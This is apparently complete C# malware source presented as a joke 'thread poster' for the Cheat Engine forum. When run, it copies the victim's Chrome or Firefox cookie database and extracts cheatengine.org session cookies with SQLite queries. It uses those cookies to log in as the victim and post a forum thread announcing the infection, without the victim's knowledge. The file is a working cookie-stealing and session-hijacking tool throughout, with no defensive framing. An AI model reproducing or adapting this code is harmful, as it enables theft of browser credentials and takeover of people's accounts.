using System;
using System.Collections.Generic;
using System.Windows.Forms;
using System.IO;
using System.Net;
using System.Data.SQLite;
using System.Text;
using System.Text.RegularExpressions;
namespace CEF_Thread_Poster
{
    /// <summary>
    /// This was coded by Fafaffy
    /// This was made for nothing but entertainment purposes
    /// </summary>
    static class Program
    {
        /// <summary>
        /// The main entry point for the application.
        /// </summary>
       // [STAThread]
        static bool canProceed = false;
        //^ Used to see if cookies were captured, and can proceed as planned
        static CookieContainer cooks = new CookieContainer();
        static string boundary;
        static string sid;
        static Dictionary<String, String> Vars = new Dictionary<string, string>();

        static void Main()
        {
         string chrome = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Cookies";
         string firefox = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Mozilla\Firefox\Profiles";
            if(Directory.Exists(firefox))
            {
                try{
                firefox = Directory.GetDirectories(firefox)[0] + @"\cookies.sqlite";
                }catch(Exception ex){
                }
            }
            //^ Gets the directory of the Firefox Cookies if it exists
            File.WriteAllBytes(Application.StartupPath + @"\SQLite.Interop.dll", Properties.Resources.SQLite_Interop);
            if (File.Exists(chrome))
            {
                copy(true, chrome);
                //Attempts to copy the cookies from chrome
            }
            if (File.Exists(firefox) && !canProceed)
            {
                copy(false, firefox);
                //If for some reason chrome fails, it uses firefox
            }
            File.Delete(Application.StartupPath + @"\temp.temp");
            if (canProceed)
            {
                Vars.Add("addbbcodefontcolor", "#444444");
                Vars.Add("subject", "I haz been infected");
                Vars.Add("addbbcodefontsize", "0");
                Vars.Add("helpbox", "Code display: [code]code[/code]  (alt+c)");
                Vars.Add("message", "I shouldn't be running unknown files >.>");
                Vars.Add("attach_sig", "on");
                Vars.Add("notify", "on");
                Vars.Add("add_attachment_body", "0");
                Vars.Add("posted_attachments_body", "0");
                Vars.Add("filecomment", "");
                Vars.Add("poll_title", "");
                Vars.Add("add_poll_option_text", "");
                Vars.Add("poll_length", "");
                Vars.Add("mode", "newtopic");
                Vars.Add("sid", sid);
                Vars.Add("f", "16");
                Vars.Add("post", "Submit");
                Post("http://forum.cheatengine.org/posting.php", "POST_DATA=" + AddFormData(), true);
            }
        }
        static void copy(bool chrome, string path)
        {
            try
            {
                File.Copy(path, Application.StartupPath + @"\temp.temp", true);
                canProceed = grabcookies(chrome);
            }
            catch (Exception ex)
            {
            }
        }


        static public bool grabcookies(bool chrome)
        {
            SQLiteConnection sqlite_connection = new SQLiteConnection("Data Source=temp.temp;");
            sqlite_connection.Open();
            SQLiteCommand sqlite_command = sqlite_connection.CreateCommand();
            if(chrome)
                sqlite_command.CommandText = "select * from cookies where host_key LIKE '%cheatengine.org'";
            else
                sqlite_command.CommandText = "select * from moz_cookies where host LIKE '%cheatengine.org'";
            SQLiteDataReader reader = sqlite_command.ExecuteReader();
            while (reader.Read())
            {
                Cookie cok = new Cookie();
                cok.Domain = "forum.cheatengine.org";
                cok.Name = reader.GetString(2);
                cok.Value = reader.GetString(3);
                cok.Expires = new DateTime(2020, 1, 1);
                cooks.Add(cok);
            }
            reader.Close();
            sqlite_connection.Close();
            return Post("http://forum.cheatengine.org/viewforum.php?f=16").Contains("Log out");
        }



        static public string Post(string url, string data = "", Boolean MultiPart = false)
        {
            string vystup = null;
            try
            {

                byte[] buffer = Encoding.ASCII.GetBytes(data);
                System.Net.ServicePointManager.Expect100Continue = false;
                HttpWebRequest WebReq = (HttpWebRequest)WebRequest.Create(url);
                WebReq.Method = "POST";
                System.Net.ServicePointManager.Expect100Continue = false;
                WebReq.Timeout = 10000;
                WebReq.ProtocolVersion = HttpVersion.Version10;
                WebReq.CookieContainer = cooks;
                if (MultiPart)
                {
                    WebReq.ContentType = "multipart/form-data; boundary=" + boundary;
                }
                else
                {
                    WebReq.ContentType = "application/x-www-form-urlencoded";
                }
                WebReq.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6";
                WebReq.AllowAutoRedirect = true;
                WebReq.ContentLength = buffer.Length;
                Stream PostData = WebReq.GetRequestStream();
                PostData.Write(buffer, 0, buffer.Length);
                PostData.Close();
                HttpWebResponse WebResp = (HttpWebResponse)WebReq.GetResponse();
                Stream Answer = WebResp.GetResponseStream();
                StreamReader _Answer = new StreamReader(Answer);
                vystup = _Answer.ReadToEnd();
                foreach (Cookie co in WebResp.Cookies)
                {
                    cooks.Add(co);
                }
            }
            catch (Exception ex)
            {
            }
            sid = Regex.Match(vystup.Trim(), @"sid=(?<val>\w*)""").Groups["val"].Value;
            return vystup.Trim() + "\n";
        }


        static public string AddFormData()
        {

            boundary = "---------------------------" + DateTime.Now.Ticks.ToString();
            string header = string.Format("--{0}", boundary);
            string footer = string.Format("--{0}--\r\n", boundary);

            StringBuilder contents = new StringBuilder();

            foreach (var pair in Vars)
            {
                contents.AppendLine(header);
                contents.AppendLine(String.Format("Content-Disposition: form-data; name=\"{0}\"", pair.Key));
                contents.AppendLine();
                contents.AppendLine(pair.Value);
            }
            contents.AppendLine(footer);
            return contents.ToString();
        }

    }
}